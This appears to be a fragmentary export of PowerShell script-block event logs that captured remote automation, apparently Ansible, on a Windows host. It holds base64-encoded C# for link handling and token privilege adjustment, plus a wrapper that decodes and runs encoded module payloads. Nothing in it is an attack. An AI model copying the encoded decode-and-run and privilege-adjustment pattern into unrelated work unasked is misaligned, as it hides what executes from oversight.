KCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBGaW5kRmlyc3RGaWxlTmFtZVcoCiAgICAgICAgICAgIHN0cmluZyBscEZpbGVOYW1lLAogICAgICAgICAgICBVSW50MzIgZHdGbGFncywKICAgICAgICAgICAgcmVmIFVJbnQzMiBTdHJpbmdMZW5ndGgsCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgTGlua05hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBGaW5kTmV4dEZpbGVOYW1lVygKICAgICAgICAgICAgSW50UHRyIGhGaW5kU3RyZWFtLAogICAgICAgICAgICByZWYgVUludDMyIFN0cmluZ0xlbmd0aCwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBMaW5rTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEZpbmRDbG9zZSgKICAgICAgICAgICAgSW50UHRyIGhGaW5kRmlsZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIFJlbW92ZURpcmVjdG9yeSgKICAgICAgICAgICAgc3RyaW5nIGxwUGF0aE5hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBEZWxldGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVN5bWJvbGljTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwU3ltbGlua0ZpbGVOYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBUYXJnZXRGaWxlTmFtZSwKICAgICAgICAgICAgVUludDMyIGR3RmxhZ3MpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBD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b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiRmFpbGVkIHRvIGRlbGV0ZSBsaW5rIGF0IHswfSIsIGxpbmtQYXRoKSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ3JlYXRlTGluayhzdHJpbmcgbGlua1BhdGgsIFN0cmluZyBsaW5rVGFyZ2V0LCBMaW5rVHlwZSBsaW5rVHlwZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAobGlua1R5cGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgTGlua1R5cGUuU3ltYm9saWNMaW5rOgogICAgICAgICAgICAgICAgICAgIFVJbnQzMiBsaW5rRmxhZ3M7CiAgICAgICAgICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtGbGFncyA9IFNZTUJPTElDX0xJTktfRkxBR19ESVJFQ1RPUlk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBsaW5rRmxhZ3MgPSBTWU1CT0xJQ19MSU5LX0ZMQUdfRklMRTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCFDcmVhdGVTeW1ib2xpY0xpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIGxpbmtGbGFncykpCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZVN5bWJvbGljTGluayh7MH0sIHsxfSwgezJ9KSBmYWlsZWQiLCBsaW5rUGF0aCwgbGlua1RhcmdldCwgbGlua0ZsYWdzKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkhhcmRMaW5rOgogICAgICAgICAgICAgICAgICAgIGlmICghQ3JlYXRlSGFyZExpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlSGFyZExpbmsoezB9LCB7MX0pIGZhaWxlZCIsIGxpbmtQYXRoLCBsaW5rVGFyZ2V0KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIExpbmtJbmZvIEdldEhhcmRMaW5rSW5mbyhzdHJpbmcgbGlua1BhdGgpCiAgICAgICAgewogICAgICAgICAgICBVSW50MzIgbWF4UGF0aCA9IDI2MDsKICAgICAgICAgICAgTGlzdDxzdHJpbmc+IHJlc3VsdCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KW1heFBhdGgpOwogICAgICAgICAgICBVSW50MzIgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgaWYgKCFHZXRWb2x1bWVQYXRoTmFtZShsaW5rUGF0aCwgc2IsIHJlZiBzdHJpbmdMZW5ndGgpKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oIkdldFZvbHVtZVBhdGhOYW1lKCkgZmFpbGVkIik7CiAgICAgICAgICAgIHN0cmluZyB2b2x1bWUgPSBzYi5Ub1N0cmluZygpOwoKICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgSW50UHRyIGZpbmRIYW5kbGUgPSBGaW5kRmlyc3RGaWxlTmFtZVcobGlua1BhdGgsIDAsIHJlZiBzdHJpbmdMZW5ndGgsIHNiKTsKICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICAgICAgICBsaW5rVHlwZSA9IExpbmtUeXBlLlN5bWJvbGljTGluazsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChidWZmZXIuUmVwYXJzZVRhZyA9PSBJT19SRVBBUlNFX1RBR19NT1VOVF9QT0lOVCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbGlua1R5cGUgPSBMaW5rVHlwZS5KdW5jdGlvblBvaW50OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIGVycm9yTWVzc2FnZSA9IFN0cmluZy5Gb3JtYXQoIkludmFsaWQgUmVwYXJzZSBUYWc6IHswfSIsIGJ1ZmZlci5SZXBhcnNlVGFnLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbihlcnJvck1lc3NhZ2UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzdHJpbmcgcHJpbnROYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlByaW50TmFtZU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dGFyZ2V0UGF0aCkpOwoKICAgICAgICAgICAgcmV0dXJuIG5ldyBMaW5rSW5mbwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBUeXBlID0gbGlua1R5cGUsCiAgICAgICAgICAgICAgICBQcmludE5hbWUgPSBwcmludE5hbWUsCiAgICAgICAgICAgICAgICBTdWJzdGl0dXRlTmFtZSA9IHN1YnN0aXR1dGVOYW1lLAogICAgICAgICAgICAgICAgQWJzb2x1dGVQYXRoID0gYWJzb2x1dGVQYXRoLAogICAgICAgICAgICAgICAgVGFyZ2V0UGF0aCA9IHRhcmdldFBhdGgKICAgICAgICAgICAgfTsKICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIHZvaWQgQ3JlYXRlSnVuY3Rpb25Qb2ludChzdHJpbmcgbGlua1BhdGgsIHN0cmluZyBsaW5rVGFyZ2V0KQogICAgICAgIHsKICAgICAgICAgICAgLy8gV2UgbmVlZCB0byBjcmVhdGUgdGhlIGxpbmsgYXMgYSBkaXIgYmVmb3JlaGFuZAogICAgICAgICAgICBEaXJlY3RvcnkuQ3JlYXRlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgZmlsZUhhbmRsZSA9IENyZWF0ZUZpbGUoCiAgICAgICAgICAgICAgICBsaW5rUGF0aCwKICAgICAgICAgICAgICAgIEZpbGVBY2Nlc3MuV3JpdGUsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuUmVhZCB8IEZpbGVTaGFyZS5Xcml0ZSB8IEZpbGVTaGFyZS5Ob25lLAogICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICBGaWxlTW9kZS5PcGVuLAogICAgICAgICAgICAgICAgRklMRV9GTEFHX0JBQ0tVUF9TRU1BTlRJQ1MgfCBGSUxFX0ZMQUdfT1BFTl9SRVBBUlNFX1BPSU5ULAogICAgICAgICAgICAgICAgSW50UHRyLlplcm8pOwoKICAgICAgICAg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Uxlbmd0aCArIDEyKTsKICAgICAgICAgICAgICAgIGJ1ZmZlci5QYXRoQnVmZmVyID0gbmV3IGNoYXJbTUFYSU1VTV9SRVBBUlNFX0RBVEFfQlVGRkVSX1NJWkVdOwoKICAgICAgICAgICAgICAgIGJ5dGVbXSB1bmljb2RlQnl0ZXMgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKHN1YnN0aXR1dGVOYW1lICsgIlwwIiArIHByaW50TmFtZSk7CiAgICAgICAgICAgICAgICBjaGFyW10gcGF0aEJ1ZmZlciA9IEVuY29kaW5nLlVuaWNvZGUuR2V0Q2hhcnModW5pY29kZUJ5dGVzKTsKICAgICAgICAgICAgICAgIEFycmF5LkNvcHkocGF0aEJ1ZmZlciwgYnVmZmVyLlBhdGhCdWZmZXIsIHBhdGhCdWZmZXIuTGVuZ3RoKTsKCiAgICAgICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfU0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgdG8gY3JlYXRlIGp1bmN0aW9uIHBvaW50IGF0IHswfSB0byB7MX0iLCBsaW5rUGF0aCwgbGlua1Rhc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mVkLCBkZWZpbmUgb25lIHRvIGJlIG5pY2UKICAgIElmICgtbm90ICRvYmouR2V0VHlwZSkKICAgIHsKICAgICAgICAkb2JqID0gQHsgfQogICAgfQoKICAgIGlmICgtbm90ICRvYmouQ29udGFpbnNLZXkoJ2NoYW5nZWQnKSkgewogICAgICAgIFNldC1BdHRyICRvYmogImNoYW5nZWQiICRmYWxzZQogICAgfQoKICAgIFdyaXRlLU91dHB1dCAkb2JqIHwgQ29udmVydFRvLUpzb24gLUNvbXByZXNzIC1EZXB0aCA5OQogICAgRXhpdAp9CgpGdW5jdGlvbiBGYWlsLUpzb24oJG9iai
ScriptBlock ID: 4142a776-5862-43c3-a728-ad7c43f8e04a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2199 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0000-13b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
BUb2tlbkFjY2Vzc0xldmVscy5BZGp1c3RQcml2aWxlZ2VzLCBvdXQgaFRva2VuKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIk9wZW5Qcm9jZXNzVG9rZW4oKSBmYWlsZWQgd2l0aCBRdWVyeSBhbmQgQWRqdXN0UHJpdmlsZWdlcyIpOwogICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIG9sZFN0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoMCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkFkanVzdFRva2VuUHJpdmlsZWdlcyhoVG9rZW4sIGRpc2FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB0cik7CiAgICAgICAgICAgICAgICAgICAgb2xkU3RhdGVQdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgoaW50KXJldHVybkxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBib29sIHJlcyA9IE5hdGl2ZU1ldGhvZHMuQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKGhUb2tlbiwgZGlzYWJsZUFsbFByaXZpbGVnZXMsIG5ld1N0YXRlUHRyLCByZXR1cm5MZW5ndGgsIG9sZFN0YX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ICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5MdWlkKSwgcCA9PiAoYm9vbD8pcC5BdHRyaWJ1dGVzLkhhc0ZsYWcoUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgR2V0UHJpdmlsZWdlTmFtZShOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZCkKICAgICAgICB7CiAgICAgICAgICAgIFVJbnQzMiBuYW1lTGVuID0gMDsKICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5Mb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIHJlZiBsdWlkLCBudWxsLCByZWYgbmFtZUxlbik7CgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIG5hbWUgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KShuYW1lTGVuICsgMSkpOwogICAgICAgICAgICBpZi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yU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBTYWZlRmlsZUhhbmRsZSBDcmVhdGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLlU0KV0gRmlsZUFjY2VzcyBkd0Rlc2lyZWRBY2Nlc3MsCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldIEZpbGVTaGFyZSBkd1NoYXJlTW9kZSwKICAgICAgICAgICAgSW50UHRyIGxwU2VjdXJpdHlBdHRyaWJ1dGVzLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQ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| Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0000-13b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncy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aXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcn